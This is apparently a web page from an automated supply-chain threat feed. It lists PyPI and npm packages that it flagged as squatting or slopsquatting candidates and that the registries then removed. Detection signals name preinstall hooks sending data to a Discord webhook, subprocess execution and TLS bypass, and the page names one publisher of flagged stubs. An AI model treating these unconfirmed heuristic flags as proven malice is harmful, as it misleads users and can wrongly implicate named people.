FlagThis | Sentinel — Taken Down

Automated package-squatting & slopsquatting detection signals across PyPI and npm — these are automated, unconfirmed signals. Use them to find candidates to investigate, but don't automatically assume they're malicious.

Threat Feed Flagged packages, sorted by risk score Growing Packages Fastest-adopted since publish Taken Down Flagged, then pulled by the registry About What Sentinel does & why

Packages Sentinel flagged (a real threat verdict, score ≥ 80) that PyPI or npm then removed. The verdict and score are frozen at the moment of takedown — what Sentinel assessed before the package came down, not a re-check of a now-empty name. Lead time is shown in hours where we have it: a live detection often beats the registry by hours. Rows from our one-time historical sweep show no lead time — that sweep only knows the package was already gone when it looked.

Newest removal first. Expand a row for the full package detail Sentinel captured before takedown. • Tag & Signal Legend →

Search & filter syntax reference

Filter with verdict:, ecosystem: (pypi/npm), hook:, email:, domain:, keyword:, version: (comma = OR within a field, space = AND across fields), lead:>7d / lead:>30d (days we had it flagged while it was still up), or a bare word for a package-name search. This tab is always scoped to removed packages.

Package	Verdict	Score	Lead time	First flagged	Taken down	Source	Lines	Targeted	Ecosystem	Version	Author	Email domain	Signals
	✓ Taken Down Very Risky	330	+11.9d	2026-10-19 23:06 UTC	2026-11-14 00:17 UTC	registry removed	48,842	tupaxpl	pypi	1.3.0	— safelabs.support@visioncybersecurity.com	visioncybersecurity.com	🪝
Removed from: PyPI (registry removed) First flagged by Sentinel: 2026-10-19 23:06 UTC Last confirmed live: 2026-10-31 21:17 UTC Removed: 2026-11-14 00:17 UTC Lead time: +11.9d — how long the package stayed provably live after we flagged it Online before takedown: 25.1d (published → removed) Verdict / score at takedown: Very Risky · 330 Package purpose: TupaXPL-Forge — Offensive Security Platform (LLM+LangGraph runtime) Claimed homepage: https://pypi.org/project/tupaxpl/ Matched naming pattern: python-tupaxpl-core Official vendor account: No — publisher domain doesn't match the brand it names Registry downloads (last seen): 0/month (NEGLIGIBLE_OR_ZERO_USAGE) Codebase size: 48842 lines, 2.2 MB across 313 files (LARGE_CODEBASE) Automated signals flagged: INFORelease has signed build provenance from github.com/mrhenrike/tupaxpl-forge. That repository is not owned by 'tupaxpl', so it shows where the code was built, not who published it. MEDIUMPackage published 5+ versions in rapid succession (< 24h) to mimic mature open source maintenance. HIGHPackage registered recently (20 days ago) during the active AI hallucination slopsquatting wave. HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in tupaxpl-1.3.0/offsecforge/acquisition/exploit_db.py:24 HIGHANTI_ANALYSIS_EVASION: 'TLS / SSL Verification Bypass (Defense Evasion)' found in tupaxpl-1.3.0/offsecforge/acquisition/exploit_downloader.py:43 HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in tupaxpl-1.3.0/offsecforge/acquisition/exploit_downloader.py:73 HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in tupaxpl-1.3.0/offsecforge/acquisition/exploit_downloader.py:18 HIGHANTI_ANALYSIS_EVASION: 'TLS / SSL Verification Bypass (Defense Evasion)' found in tupaxpl-1.3.0/offsecforge/acquisition/github_poc_finder.py:19 Static code signals: SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in tupaxpl-1.3.0/offsecforge/acquisition/exploit_db.py:24 ANTI_ANALYSIS_EVASION: 'TLS / SSL Verification Bypass (Defense Evasion)' found in tupaxpl-1.3.0/offsecforge/acquisition/exploit_downloader.py:43 SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in tupaxpl-1.3.0/offsecforge/acquisition/exploit_downloader.py:73 SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in tupaxpl-1.3.0/offsecforge/acquisition/exploit_downloader.py:18 ANTI_ANALYSIS_EVASION: 'TLS / SSL Verification Bypass (Defense Evasion)' found in tupaxpl-1.3.0/offsecforge/acquisition/github_poc_finder.py:19 ANTI_ANALYSIS_EVASION: 'TLS / SSL Verification Bypass (Defense Evasion)' found in tupaxpl-1.3.0/offsecforge/acquisition/nvd_client.py:19 SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in tupaxpl-1.3.0/offsecforge/adapters/quarry_engine.py:34 SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in tupaxpl-1.3.0/offsecforge/adapters/stix_export.py:98 The verdict reflects what our detector observed before the package came down, not a confirmed determination of wrongdoing. Confirm removal on PyPI →
	✓ Taken Down SUSPICIOUS	80	+62.6d	2026-08-24 08:42 UTC	2026-11-04 08:17 UTC	registry removed	20	huggingface	pypi	0.1.0	Jochen Schultz js@intelligent-intern.com	intelligent-intern.com
Removed from: PyPI (registry removed) First flagged by Sentinel: 2026-08-24 08:42 UTC Last confirmed live: 2026-10-25 23:22 UTC Removed: 2026-11-04 08:17 UTC Lead time: +62.6d — how long the package stayed provably live after we flagged it Online before takedown: 583.4d (published → removed) Verdict / score at takedown: SUSPICIOUS · 80 Package purpose: Huggingface integration providing nlp utility for Corex Claimed homepage: https://pypi.org/project/corex-ai-nlp-huggingface/ Matched naming pattern: corex-huggingface-nlp Official vendor account: No — publisher domain doesn't match the brand it names Code-only verdict: BENIGN_COMMUNITY (the score also weighs naming and publisher-domain signals, not just the code) Registry downloads (last seen): 19/month (NEGLIGIBLE_OR_ZERO_USAGE) Codebase size: 20 lines, 679 Bytes across 3 files (TINY_CODEBASE) Automated signals flagged: MEDIUMPackage name 'corex-ai-nlp-huggingface' matches AI hallucination template [corex] + [huggingface] + [nlp]. HIGHClaims critical enterprise brand identity ('HUGGINGFACE'). HIGHPublisher email 'js@intelligent-intern.com' is not affiliated with official vendor domain. MEDIUMPackage has empty or near-zero description (potential reservation stub). INFONo malicious install-time hooks or shell cradles detected in package AST. The verdict reflects what our detector observed before the package came down, not a confirmed determination of wrongdoing. Confirm removal on PyPI →
	✓ Taken Down SUSPICIOUS	80	+62.3d	2026-08-24 16:38 UTC	2026-11-04 08:17 UTC	registry removed	20	cohere	pypi	0.1.0	Jochen Schultz js@intelligent-intern.com	intelligent-intern.com
Removed from: PyPI (registry removed) First flagged by Sentinel: 2026-08-24 16:38 UTC Last confirmed live: 2026-10-26 00:22 UTC Removed: 2026-11-04 08:17 UTC Lead time: +62.3d — how long the package stayed provably live after we flagged it Online before takedown: 583.4d (published → removed) Verdict / score at takedown: SUSPICIOUS · 80 Package purpose: Cohere integration providing nlp utility for Corex Claimed homepage: https://pypi.org/project/corex-ai-nlp-cohere/ Matched naming pattern: corex-cohere-nlp Official vendor account: No — publisher domain doesn't match the brand it names Code-only verdict: BENIGN_COMMUNITY (the score also weighs naming and publisher-domain signals, not just the code) Registry downloads (last seen): 19/month (NEGLIGIBLE_OR_ZERO_USAGE) Codebase size: 20 lines, 659 Bytes across 3 files (TINY_CODEBASE) Automated signals flagged: MEDIUMPackage name 'corex-ai-nlp-cohere' matches AI hallucination template [corex] + [cohere] + [nlp]. HIGHClaims critical enterprise brand identity ('COHERE'). HIGHPublisher email 'js@intelligent-intern.com' is not affiliated with official vendor domain. MEDIUMPackage has empty or near-zero description (potential reservation stub). INFONo malicious install-time hooks or shell cradles detected in package AST. The verdict reflects what our detector observed before the package came down, not a confirmed determination of wrongdoing. Confirm removal on PyPI →
	✓ Taken Down SUSPICIOUS	80	+14.9d	2026-08-24 00:21 UTC	2026-11-04 08:17 UTC	registry removed	20	vllm	pypi	0.1.0	Jochen Schultz js@intelligent-intern.com	intelligent-intern.com
Removed from: PyPI (registry removed) First flagged by Sentinel: 2026-08-24 00:21 UTC Last confirmed live: 2026-09-07 20:57 UTC Removed: 2026-11-04 08:17 UTC Lead time: +14.9d — how long the package stayed provably live after we flagged it Online before takedown: 583.4d (published → removed) Verdict / score at takedown: SUSPICIOUS · 80 Package purpose: Vllm integration providing runtimes utility for Corex Claimed homepage: https://pypi.org/project/corex-ai-runtimes-vllm/ Matched naming pattern: corex-vllm-runtimes Official vendor account: No — publisher domain doesn't match the brand it names Code-only verdict: BENIGN_COMMUNITY (the score also weighs naming and publisher-domain signals, not just the code) Registry downloads (last seen): 21/month (NEGLIGIBLE_OR_ZERO_USAGE) Codebase size: 20 lines, 681 Bytes across 3 files (TINY_CODEBASE) Automated signals flagged: MEDIUMPackage name 'corex-ai-runtimes-vllm' matches AI hallucination template [corex] + [vllm] + [runtimes]. HIGHClaims critical enterprise brand identity ('VLLM'). HIGHPublisher email 'js@intelligent-intern.com' is not affiliated with official vendor domain. MEDIUMPackage has empty or near-zero description (potential reservation stub). INFONo malicious install-time hooks or shell cradles detected in package AST. The verdict reflects what our detector observed before the package came down, not a confirmed determination of wrongdoing. Confirm removal on PyPI →
	✓ Taken Down SUSPICIOUS	80	+62.9d	2026-08-24 01:13 UTC	2026-11-04 08:17 UTC	registry removed	20	openai	pypi	0.1.0	Jochen Schultz js@intelligent-intern.com	intelligent-intern.com
Removed from: PyPI (registry removed) First flagged by Sentinel: 2026-08-24 01:13 UTC Last confirmed live: 2026-10-25 22:42 UTC Removed: 2026-11-04 08:17 UTC Lead time: +62.9d — how long the package stayed provably live after we flagged it Online before takedown: 583.4d (published → removed) Verdict / score at takedown: SUSPICIOUS · 80 Package purpose: Openai integration providing nlp utility for Corex Claimed homepage: https://pypi.org/project/corex-ai-nlp-openai/ Matched naming pattern: corex-openai-nlp Official vendor account: No — publisher domain doesn't match the brand it names Code-only verdict: BENIGN_COMMUNITY (the score also weighs naming and publisher-domain signals, not just the code) Registry downloads (last seen): 36/month (NEGLIGIBLE_OR_ZERO_USAGE) Codebase size: 20 lines, 659 Bytes across 3 files (TINY_CODEBASE) Automated signals flagged: MEDIUMPackage name 'corex-ai-nlp-openai' matches AI hallucination template [corex] + [openai] + [nlp]. HIGHClaims critical enterprise brand identity ('OPENAI'). HIGHPublisher email 'js@intelligent-intern.com' is not affiliated with official vendor domain. MEDIUMPackage has empty or near-zero description (potential reservation stub). INFONo malicious install-time hooks or shell cradles detected in package AST. The verdict reflects what our detector observed before the package came down, not a confirmed determination of wrongdoing. Confirm removal on PyPI →
	✓ Taken Down SUSPICIOUS	80	+62.9d	2026-08-24 01:05 UTC	2026-11-04 08:17 UTC	registry removed	20	pinecone	pypi	0.1.0	Jochen Schultz js@intelligent-intern.com	intelligent-intern.com
Removed from: PyPI (registry removed) First flagged by Sentinel: 2026-08-24 01:05 UTC Last confirmed live: 2026-10-25 22:42 UTC Removed: 2026-11-04 08:17 UTC Lead time: +62.9d — how long the package stayed provably live after we flagged it Online before takedown: 583.4d (published → removed) Verdict / score at takedown: SUSPICIOUS · 80 Package purpose: Pinecone integration providing retrieval utility for Corex Claimed homepage: https://pypi.org/project/corex-ai-retrieval-pinecone/ Matched naming pattern: corex-pinecone-retrieval Official vendor account: No — publisher domain doesn't match the brand it names Code-only verdict: BENIGN_COMMUNITY (the score also weighs naming and publisher-domain signals, not just the code) Registry downloads (last seen): 16/month (NEGLIGIBLE_OR_ZERO_USAGE) Codebase size: 20 lines, 703 Bytes across 3 files (TINY_CODEBASE) Automated signals flagged: MEDIUMPackage name 'corex-ai-retrieval-pinecone' matches AI hallucination template [corex] + [pinecone] + [retrieval]. HIGHClaims critical enterprise brand identity ('PINECONE'). HIGHPublisher email 'js@intelligent-intern.com' is not affiliated with official vendor domain. MEDIUMPackage has empty or near-zero description (potential reservation stub). INFONo malicious install-time hooks or shell cradles detected in package AST. The verdict reflects what our detector observed before the package came down, not a confirmed determination of wrongdoing. Confirm removal on PyPI →
	✓ Taken Down SUSPICIOUS	80	+62.2d	2026-08-24 18:41 UTC	2026-11-04 08:17 UTC	registry removed	20	ollama	pypi	0.1.0	Jochen Schultz js@intelligent-intern.com	intelligent-intern.com
Removed from: PyPI (registry removed) First flagged by Sentinel: 2026-08-24 18:41 UTC Last confirmed live: 2026-10-26 00:22 UTC Removed: 2026-11-04 08:17 UTC Lead time: +62.2d — how long the package stayed provably live after we flagged it Online before takedown: 583.4d (published → removed) Verdict / score at takedown: SUSPICIOUS · 80 Package purpose: Ollama integration providing runtimes utility for Corex Claimed homepage: https://pypi.org/project/corex-ai-runtimes-ollama/ Matched naming pattern: corex-ollama-runtimes Official vendor account: No — publisher domain doesn't match the brand it names Code-only verdict: BENIGN_COMMUNITY (the score also weighs naming and publisher-domain signals, not just the code) Registry downloads (last seen): 17/month (NEGLIGIBLE_OR_ZERO_USAGE) Codebase size: 20 lines, 689 Bytes across 3 files (TINY_CODEBASE) Automated signals flagged: MEDIUMPackage name 'corex-ai-runtimes-ollama' matches AI hallucination template [corex] + [ollama] + [runtimes]. HIGHClaims critical enterprise brand identity ('OLLAMA'). HIGHPublisher email 'js@intelligent-intern.com' is not affiliated with official vendor domain. MEDIUMPackage has empty or near-zero description (potential reservation stub). INFONo malicious install-time hooks or shell cradles detected in package AST. The verdict reflects what our detector observed before the package came down, not a confirmed determination of wrongdoing. Confirm removal on PyPI →
	✓ Taken Down SUSPICIOUS	80	+62.5d	2026-08-24 12:04 UTC	2026-11-04 08:17 UTC	registry removed	20	weaviate	pypi	0.1.0	Jochen Schultz js@intelligent-intern.com	intelligent-intern.com
Removed from: PyPI (registry removed) First flagged by Sentinel: 2026-08-24 12:04 UTC Last confirmed live: 2026-10-25 23:42 UTC Removed: 2026-11-04 08:17 UTC Lead time: +62.5d — how long the package stayed provably live after we flagged it Online before takedown: 583.4d (published → removed) Verdict / score at takedown: SUSPICIOUS · 80 Package purpose: Weaviate integration providing embeddings utility for Corex Claimed homepage: https://pypi.org/project/corex-ai-embeddings-weaviate/ Matched naming pattern: corex-weaviate-embeddings Official vendor account: No — publisher domain doesn't match the brand it names Code-only verdict: BENIGN_COMMUNITY (the score also weighs naming and publisher-domain signals, not just the code) Registry downloads (last seen): 17/month (NEGLIGIBLE_OR_ZERO_USAGE) Codebase size: 20 lines, 709 Bytes across 3 files (TINY_CODEBASE) Automated signals flagged: MEDIUMPackage name 'corex-ai-embeddings-weaviate' matches AI hallucination template [corex] + [weaviate] + [embeddings]. HIGHClaims critical enterprise brand identity ('WEAVIATE'). HIGHPublisher email 'js@intelligent-intern.com' is not affiliated with official vendor domain. MEDIUMPackage has empty or near-zero description (potential reservation stub). INFONo malicious install-time hooks or shell cradles detected in package AST. The verdict reflects what our detector observed before the package came down, not a confirmed determination of wrongdoing. Confirm removal on PyPI →
	✓ Taken Down SUSPICIOUS	80	+14.4d	2026-08-24 11:41 UTC	2026-11-04 08:17 UTC	registry removed	20	llama	pypi	0.1.0	Jochen Schultz js@intelligent-intern.com	intelligent-intern.com
Removed from: PyPI (registry removed) First flagged by Sentinel: 2026-08-24 11:41 UTC Last confirmed live: 2026-09-07 20:57 UTC Removed: 2026-11-04 08:17 UTC Lead time: +14.4d — how long the package stayed provably live after we flagged it Online before takedown: 583.4d (published → removed) Verdict / score at takedown: SUSPICIOUS · 80 Package purpose: Llama integration providing retrieval utility for Corex Claimed homepage: https://pypi.org/project/corex-ai-retrieval-llama-index/ Matched naming pattern: corex-llama-retrieval Official vendor account: No — publisher domain doesn't match the brand it names Code-only verdict: BENIGN_COMMUNITY (the score also weighs naming and publisher-domain signals, not just the code) Registry downloads (last seen): 14/month (NEGLIGIBLE_OR_ZERO_USAGE) Codebase size: 20 lines, 715 Bytes across 3 files (TINY_CODEBASE) Automated signals flagged: MEDIUMPackage name 'corex-ai-retrieval-llama-index' matches AI hallucination template [corex] + [llama] + [retrieval]. HIGHClaims critical enterprise brand identity ('LLAMA'). HIGHPublisher email 'js@intelligent-intern.com' is not affiliated with official vendor domain. MEDIUMPackage has empty or near-zero description (potential reservation stub). INFONo malicious install-time hooks or shell cradles detected in package AST. The verdict reflects what our detector observed before the package came down, not a confirmed determination of wrongdoing. Confirm removal on PyPI →
	✓ Taken Down SUSPICIOUS	80	+14.6d	2026-08-24 07:06 UTC	2026-11-04 08:17 UTC	registry removed	20	auth0	pypi	0.1.0	Jochen Schultz js@intelligent-intern.com	intelligent-intern.com
Removed from: PyPI (registry removed) First flagged by Sentinel: 2026-08-24 07:06 UTC Last confirmed live: 2026-09-07 20:57 UTC Removed: 2026-11-04 08:17 UTC Lead time: +14.6d — how long the package stayed provably live after we flagged it Online before takedown: 582.7d (published → removed) Verdict / score at takedown: SUSPICIOUS · 80 Package purpose: Auth0 integration providing auth0 utility for Corex Claimed homepage: https://pypi.org/project/corex-security-auth0/ Matched naming pattern: corex-auth0-auth0 Official vendor account: No — publisher domain doesn't match the brand it names Code-only verdict: BENIGN_COMMUNITY (the score also weighs naming and publisher-domain signals, not just the code) Registry downloads (last seen): 14/month (NEGLIGIBLE_OR_ZERO_USAGE) Codebase size: 20 lines, 667 Bytes across 3 files (TINY_CODEBASE) Automated signals flagged: MEDIUMPackage name 'corex-security-auth0' matches AI hallucination template [corex] + [auth0] + [auth0]. HIGHClaims critical enterprise brand identity ('AUTH0'). HIGHPublisher email 'js@intelligent-intern.com' is not affiliated with official vendor domain. MEDIUMPackage has empty or near-zero description (potential reservation stub). INFONo malicious install-time hooks or shell cradles detected in package AST. The verdict reflects what our detector observed before the package came down, not a confirmed determination of wrongdoing. Confirm removal on PyPI →
	✓ Taken Down SUSPICIOUS	80	+62.6d	2026-08-24 10:13 UTC	2026-11-04 08:17 UTC	registry removed	20	azure	pypi	0.1.0	Jochen Schultz js@intelligent-intern.com	intelligent-intern.com
Removed from: PyPI (registry removed) First flagged by Sentinel: 2026-08-24 10:13 UTC Last confirmed live: 2026-10-25 23:42 UTC Removed: 2026-11-04 08:17 UTC Lead time: +62.6d — how long the package stayed provably live after we flagged it Online before takedown: 582.5d (published → removed) Verdict / score at takedown: SUSPICIOUS · 80 Package purpose: Azure integration providing azure utility for Corex Claimed homepage: https://pypi.org/project/corex-storage-azure-blob/ Matched naming pattern: corex-azure-azure Official vendor account: No — publisher domain doesn't match the brand it names Code-only verdict: BENIGN_COMMUNITY (the score also weighs naming and publisher-domain signals, not just the code) Registry downloads (last seen): 16/month (NEGLIGIBLE_OR_ZERO_USAGE) Codebase size: 20 lines, 681 Bytes across 3 files (TINY_CODEBASE) Automated signals flagged: MEDIUMPackage name 'corex-storage-azure-blob' matches AI hallucination template [corex] + [azure] + [azure]. HIGHClaims critical enterprise brand identity ('AZURE'). HIGHPublisher email 'js@intelligent-intern.com' is not affiliated with official vendor domain. MEDIUMPackage has empty or near-zero description (potential reservation stub). INFONo malicious install-time hooks or shell cradles detected in package AST. The verdict reflects what our detector observed before the package came down, not a confirmed determination of wrongdoing. Confirm removal on PyPI →
	✓ Taken Down SUSPICIOUS	80	+13.9d	2026-08-24 22:51 UTC	2026-11-04 08:17 UTC	registry removed	20	llama	pypi	0.1.0	Jochen Schultz js@intelligent-intern.com	intelligent-intern.com
Removed from: PyPI (registry removed) First flagged by Sentinel: 2026-08-24 22:51 UTC Last confirmed live: 2026-09-07 20:57 UTC Removed: 2026-11-04 08:17 UTC Lead time: +13.9d — how long the package stayed provably live after we flagged it Online before takedown: 583.4d (published → removed) Verdict / score at takedown: SUSPICIOUS · 80 Package purpose: Llama integration providing nlp utility for Corex Claimed homepage: https://pypi.org/project/corex-ai-nlp-llama/ Matched naming pattern: corex-llama-nlp Official vendor account: No — publisher domain doesn't match the brand it names Code-only verdict: BENIGN_COMMUNITY (the score also weighs naming and publisher-domain signals, not just the code) Registry downloads (last seen): 11/month (NEGLIGIBLE_OR_ZERO_USAGE) Codebase size: 20 lines, 655 Bytes across 3 files (TINY_CODEBASE) Automated signals flagged: MEDIUMPackage name 'corex-ai-nlp-llama' matches AI hallucination template [corex] + [llama] + [nlp]. HIGHClaims critical enterprise brand identity ('LLAMA'). HIGHPublisher email 'js@intelligent-intern.com' is not affiliated with official vendor domain. MEDIUMPackage has empty or near-zero description (potential reservation stub). INFONo malicious install-time hooks or shell cradles detected in package AST. The verdict reflects what our detector observed before the package came down, not a confirmed determination of wrongdoing. Confirm removal on PyPI →
	✓ Taken Down SUSPICIOUS	80	+62.8d	2026-08-24 03:41 UTC	2026-11-04 08:17 UTC	registry removed	20	qdrant	pypi	0.1.0	Jochen Schultz js@intelligent-intern.com	intelligent-intern.com
Removed from: PyPI (registry removed) First flagged by Sentinel: 2026-08-24 03:41 UTC Last confirmed live: 2026-10-25 23:02 UTC Removed: 2026-11-04 08:17 UTC Lead time: +62.8d — how long the package stayed provably live after we flagged it Online before takedown: 583.4d (published → removed) Verdict / score at takedown: SUSPICIOUS · 80 Package purpose: Qdrant integration providing retrieval utility for Corex Claimed homepage: https://pypi.org/project/corex-ai-retrieval-qdrant/ Matched naming pattern: corex-qdrant-retrieval Official vendor account: No — publisher domain doesn't match the brand it names Code-only verdict: BENIGN_COMMUNITY (the score also weighs naming and publisher-domain signals, not just the code) Registry downloads (last seen): 14/month (NEGLIGIBLE_OR_ZERO_USAGE) Codebase size: 20 lines, 695 Bytes across 3 files (TINY_CODEBASE) Automated signals flagged: MEDIUMPackage name 'corex-ai-retrieval-qdrant' matches AI hallucination template [corex] + [qdrant] + [retrieval]. HIGHClaims critical enterprise brand identity ('QDRANT'). HIGHPublisher email 'js@intelligent-intern.com' is not affiliated with official vendor domain. MEDIUMPackage has empty or near-zero description (potential reservation stub). INFONo malicious install-time hooks or shell cradles detected in package AST. The verdict reflects what our detector observed before the package came down, not a confirmed determination of wrongdoing. Confirm removal on PyPI →
	✓ Taken Down SUSPICIOUS	80	+62.1d	2026-08-24 23:27 UTC	2026-11-04 08:17 UTC	registry removed	20	mistral	pypi	0.1.0	Jochen Schultz js@intelligent-intern.com	intelligent-intern.com
Removed from: PyPI (registry removed) First flagged by Sentinel: 2026-08-24 23:27 UTC Last confirmed live: 2026-10-26 00:42 UTC Removed: 2026-11-04 08:17 UTC Lead time: +62.1d — how long the package stayed provably live after we flagged it Online before takedown: 583.4d (published → removed) Verdict / score at takedown: SUSPICIOUS · 80 Package purpose: Mistral integration providing nlp utility for Corex Claimed homepage: https://pypi.org/project/corex-ai-nlp-mistral/ Matched naming pattern: corex-mistral-nlp Official vendor account: No — publisher domain doesn't match the brand it names Code-only verdict: BENIGN_COMMUNITY (the score also weighs naming and publisher-domain signals, not just the code) Registry downloads (last seen): 17/month (NEGLIGIBLE_OR_ZERO_USAGE) Codebase size: 20 lines, 663 Bytes across 3 files (TINY_CODEBASE) Automated signals flagged: MEDIUMPackage name 'corex-ai-nlp-mistral' matches AI hallucination template [corex] + [mistral] + [nlp]. HIGHClaims critical enterprise brand identity ('MISTRAL'). HIGHPublisher email 'js@intelligent-intern.com' is not affiliated with official vendor domain. MEDIUMPackage has empty or near-zero description (potential reservation stub). INFONo malicious install-time hooks or shell cradles detected in package AST. The verdict reflects what our detector observed before the package came down, not a confirmed determination of wrongdoing. Confirm removal on PyPI →
	✓ Taken Down SUSPICIOUS	80	+14.9d	2026-08-23 22:20 UTC	2026-11-04 08:17 UTC	registry removed	20	google	pypi	0.1.0	Jochen Schultz js@intelligent-intern.com	intelligent-intern.com
Removed from: PyPI (registry removed) First flagged by Sentinel: 2026-08-23 22:20 UTC Last confirmed live: 2026-09-07 20:57 UTC Removed: 2026-11-04 08:17 UTC Lead time: +14.9d — how long the package stayed provably live after we flagged it Online before takedown: 583.3d (published → removed) Verdict / score at takedown: SUSPICIOUS · 80 Package purpose: Google integration providing google utility for Corex Claimed homepage: https://pypi.org/project/corex-events-google-pubsub/ Matched naming pattern: corex-google-google Official vendor account: No — publisher domain doesn't match the brand it names Code-only verdict: BENIGN_COMMUNITY (the score also weighs naming and publisher-domain signals, not just the code) Registry downloads (last seen): 20/month (NEGLIGIBLE_OR_ZERO_USAGE) Codebase size: 20 lines, 687 Bytes across 3 files (TINY_CODEBASE) Automated signals flagged: MEDIUMPackage name 'corex-events-google-pubsub' matches AI hallucination template [corex] + [google] + [google]. HIGHClaims critical enterprise brand identity ('GOOGLE'). HIGHPublisher email 'js@intelligent-intern.com' is not affiliated with official vendor domain. MEDIUMPackage has empty or near-zero description (potential reservation stub). INFONo malicious install-time hooks or shell cradles detected in package AST. The verdict reflects what our detector observed before the package came down, not a confirmed determination of wrongdoing. Confirm removal on PyPI →
	✓ Taken Down Very Risky	90	+19.4d	2026-10-04 07:07 UTC	2026-11-03 15:17 UTC	registry removed	540	@ohos	npm	1.4.2-1	—	—	🪝 🌐 📦
Removed from: npm (registry removed) First flagged by Sentinel: 2026-10-04 07:07 UTC Last confirmed live: 2026-10-23 17:17 UTC Removed: 2026-11-03 15:17 UTC Lead time: +19.4d — how long the package stayed provably live after we flagged it Online before takedown: 30.4d (published → removed) Verdict / score at takedown: Very Risky · 90 Package purpose: Bun is a fast all-in-one JavaScript runtime. Claimed homepage: https://bun.com Matched naming pattern: node-@ohos-bun Official vendor account: No — publisher domain doesn't match the brand it names Registry downloads (last seen): 219/month (MODERATE_USAGE) Codebase size: 540 lines, 17.1 kB across 1 file (MODERATE_CODEBASE) Automated signals flagged: INFOPackage release verified with cryptographic build provenance (npm_slsa_sigstore). Guarantees authentic repository build pipeline and eliminates publisher domain spoofing risk. HIGHPackage registered recently (20 days ago) during the active AI hallucination slopsquatting wave. HIGHLIFECYCLE_SCRIPT: 'postinstall' -> 'node install.js' HIGHBUNDLED_NATIVE_BINARY: Unexpected compiled binary 'package/bin/bunx.exe' in npm tarball HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'require('child_process')' found in package/install.js:249 HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'execSync/spawnSync' found in package/install.js:252 HIGHSOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/install.js:63 HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/install.js:48 Static code signals: LIFECYCLE_SCRIPT: 'postinstall' -> 'node install.js' BUNDLED_NATIVE_BINARY: Unexpected compiled binary 'package/bin/bunx.exe' in npm tarball SOURCE_CODE_DYNAMIC_EXECUTION: 'require('child_process')' found in package/install.js:249 SOURCE_CODE_DYNAMIC_EXECUTION: 'execSync/spawnSync' found in package/install.js:252 SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/install.js:63 SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/install.js:48 INSTALL_TIME_NETWORK_SOCKET: 'postinstall' script runs package/install.js, which makes network calls and executes/decodes/reads secrets The verdict reflects what our detector observed before the package came down, not a confirmed determination of wrongdoing. Confirm removal on npm →
	✓ Taken Down Very Risky	145	<1h	2026-11-02 06:13 UTC	2026-11-02 22:17 UTC	npm security takedown	59	contracts	npm	1.0.0	—	—	🪝 📡
Removed from: npm (npm security takedown) First flagged by Sentinel: 2026-11-02 06:13 UTC Last confirmed live: 2026-11-02 06:27 UTC Removed: 2026-11-02 22:17 UTC Lead time: <1h — how long the package stayed provably live after we flagged it Verdict / score at takedown: Very Risky · 145 Package purpose: contracts-upgradeable Matched naming pattern: node-contracts-upgradeable Official vendor account: No — publisher domain doesn't match the brand it names Code-only verdict: SUSPICIOUS (the score also weighs naming and publisher-domain signals, not just the code) Registry downloads (last seen): 0/month (NEGLIGIBLE_OR_ZERO_USAGE) Codebase size: 59 lines, 2.1 kB across 2 files (TINY_CODEBASE) Automated signals flagged: MEDIUMPackage has empty or near-zero description (potential reservation stub). HIGHPackage registered recently (0 days ago) during the active AI hallucination slopsquatting wave. HIGHLIFECYCLE_SCRIPT: 'preinstall' -> 'node preinstall.js' HIGHMISSING_SOURCE_REPOSITORY_URL HIGHEXFILTRATION_DESTINATION_DETECTED: 'Discord Webhook' found in package/preinstall.js:7 HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/preinstall.js:27 Static code signals: LIFECYCLE_SCRIPT: 'preinstall' -> 'node preinstall.js' MISSING_SOURCE_REPOSITORY_URL EXFILTRATION_DESTINATION_DETECTED: 'Discord Webhook' found in package/preinstall.js:7 SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/preinstall.js:27 The verdict reflects what our detector observed before the package came down, not a confirmed determination of wrongdoing. Confirm removal on npm →
	✓ Taken Down Very Risky	130	<1h	2026-11-02 06:13 UTC	2026-11-02 22:17 UTC	npm security takedown	53	preinstall	npm	1.1.2	—	—	🪝 📡
Removed from: npm (npm security takedown) First flagged by Sentinel: 2026-11-02 06:13 UTC Last confirmed live: 2026-11-02 06:27 UTC Removed: 2026-11-02 22:17 UTC Lead time: <1h — how long the package stayed provably live after we flagged it Online before takedown: 3.9d (published → removed) Verdict / score at takedown: Very Risky · 130 Package purpose: security holding package Matched naming pattern: calculator-preinstall-hook Official vendor account: No — publisher domain doesn't match the brand it names Code-only verdict: SUSPICIOUS (the score also weighs naming and publisher-domain signals, not just the code) Registry downloads (last seen): 0/month (NEGLIGIBLE_OR_ZERO_USAGE) Codebase size: 53 lines, 1.7 kB across 2 files (TINY_CODEBASE) Automated signals flagged: HIGHPackage registered recently (3 days ago) during the active AI hallucination slopsquatting wave. HIGHLIFECYCLE_SCRIPT: 'preinstall' -> 'node preinstall.js' HIGHMISSING_SOURCE_REPOSITORY_URL HIGHEXFILTRATION_DESTINATION_DETECTED: 'Discord Webhook' found in package/preinstall.js:7 HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/preinstall.js:19 Static code signals: LIFECYCLE_SCRIPT: 'preinstall' -> 'node preinstall.js' MISSING_SOURCE_REPOSITORY_URL EXFILTRATION_DESTINATION_DETECTED: 'Discord Webhook' found in package/preinstall.js:7 SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/preinstall.js:19 The verdict reflects what our detector observed before the package came down, not a confirmed determination of wrongdoing. Confirm removal on npm →
